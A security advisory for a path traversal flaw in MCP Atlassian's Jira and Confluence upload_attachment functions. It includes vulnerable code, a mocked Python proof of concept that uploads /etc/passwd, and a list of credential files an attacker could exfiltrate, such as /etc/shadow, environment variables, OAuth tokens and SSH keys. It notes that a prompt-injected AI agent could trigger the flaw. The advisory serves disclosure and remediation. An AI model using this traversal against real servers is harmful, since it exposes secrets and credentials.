CVE-2026-77266: MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Summary
The uploadattachment functions in both the Jira and Confluence modules accept a user-controlled filepath parameter and open the specified file for reading without calling validatesafepath(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the downloadattachment and downloadissueattachments paths were hardened with validatesafepath(), but the upload direction was left unguarded in both the Jira and Confluence modules.
---
Details
Affected functions:
| File | Function | Line | |------|----------|------| | src/mcpatlassian/jira/attachments.py | uploadattachment() | ~372–415 | | src/mcpatlassian/confluence/attachments.py | uploadattachment() | ~62–108 | | src/mcpatlassian/confluence/attachments.py | uploadattachmentdirect() | ~476–477 |
Jira — vulnerable code path (jira/attachments.py):
python def uploadattachment(self, issuekey: str, filepath: str) -> dict: ... if not os.path.isabs(filepath): filepath = os.path.abspath(filepath) # resolves relative paths
if not os.path.exists(filepath): # confirms file exists ...
# ⚠ validatesafepath() is NEVER called here filename = os.path.basename(filepath) with open(filepath, "rb") as file: # arbitrary file opened attachment = self.jira.addattachment( issuekey=issuekey, filename=filepath )
Compare with the protected download path in the same file:
python def downloadattachment(self, url: str, targetpath: str) -> bool: ... validatesafepath(targetpath) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
python def uploadattachment(self, contentid, filepath, ...): ... if not os.path.isabs(filepath): filepath = os.path.abspath(filepath)
# ⚠ validatesafepath() is NEVER called filename = os.path.basename(filepath) attachment = self.uploadattachmentdirect( contentid, filepath, filename, comment, minoredit )
Inside uploadattachmentdirect(): files = {"file": (filename, open(filepath, "rb"))} # ← arbitrary file opened
---
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc001jirapathtraversal.py):
python import sys, os, types from unittest.mock import MagicMock
sys.path.insert(0, "src")
def makepkg(name): m = types.ModuleType(name); m.path = []; sys.modules[name] = m; return m
atlassianpkg = makepkg("atlassian") atlassianjira = makepkg("atlassian.jira") atlassianpkg.jira = atlassianjira atlassianjira.Jira = type("Jira", (), { "init": lambda s, a, k: None, "session": MagicMock() }) atlassianpkg.Jira = atlassianjira.Jira keyring = makepkg("keyring") keyring.getpassword = keyring.setpassword = lambda a, k: None
from mcpatlassian.jira.attachments import AttachmentsMixin from mcpatlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", authtype="basic", username="x", apitoken="x")
class FakeFetcher(AttachmentsMixin): def init(self): self.config = config self.jira = MagicMock() self.jira.addattachment.returnvalue = {"id": "99", "filename": "passwd"}
result = FakeFetcher().uploadattachment(issuekey="TEST-1", filepath="/etc/passwd") print(result)
Observed output — Jira (Kali Linux, v0.21.1):
<img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" />
[] Target file : /etc/passwd [] Calling : AttachmentsMixin.uploadattachment()
[] Return value: {'success': True, 'issuekey': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation addattachment call args: call(issuekey='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
<img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" />
[] Target file : /etc/passwd [] Calling : ConfluenceAttachmentsMixin.uploadattachment()
[] Return value: {'success': True, 'contentid': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validatesafepath() uploadattachment() → uploadattachmentdirect() → open(filepath) downloadattachment() in same file IS protected — asymmetric fix
Key evidence: - success: True — no exception raised, no path validation triggered - size: 3388 — /etc/passwd was opened and read by os.path.getsize() - Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
---
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
- /etc/shadow — system password hashes - /proc/self/environ — process environment variables (API keys, secrets) - ~/.mcp-atlassian/oauth-.json — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jirauploadattachment and confluenceuploadattachment MCP tools are affected.
Root cause: The validatesafepath() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
Other sources
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, uploadattachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through uploadattachment, filepath, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Upgrade
Upgrade
mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0
Event History
Frequently Asked Questions
Who can exploit this issue?
An MCP caller that has attachment access can exploit it. The caller must be able to invoke the upload_attachment tool against the MCP Atlassian server.
What does an attacker need to provide?
The attacker needs to supply a file_path value containing an absolute path or path-traversal sequences. The vulnerable versions do not constrain the resolved path to the server workspace.
What is the impact of successful exploitation?
An attacker can read a chosen file local to the MCP server and exfiltrate its contents through Jira or Confluence attachments. The issue affects confidentiality; no integrity or availability impact is described.
What versions should be remediated?
MCP Atlassian versions before 0.22.0 are affected. Upgrade to version 0.22.0, which fixes the issue.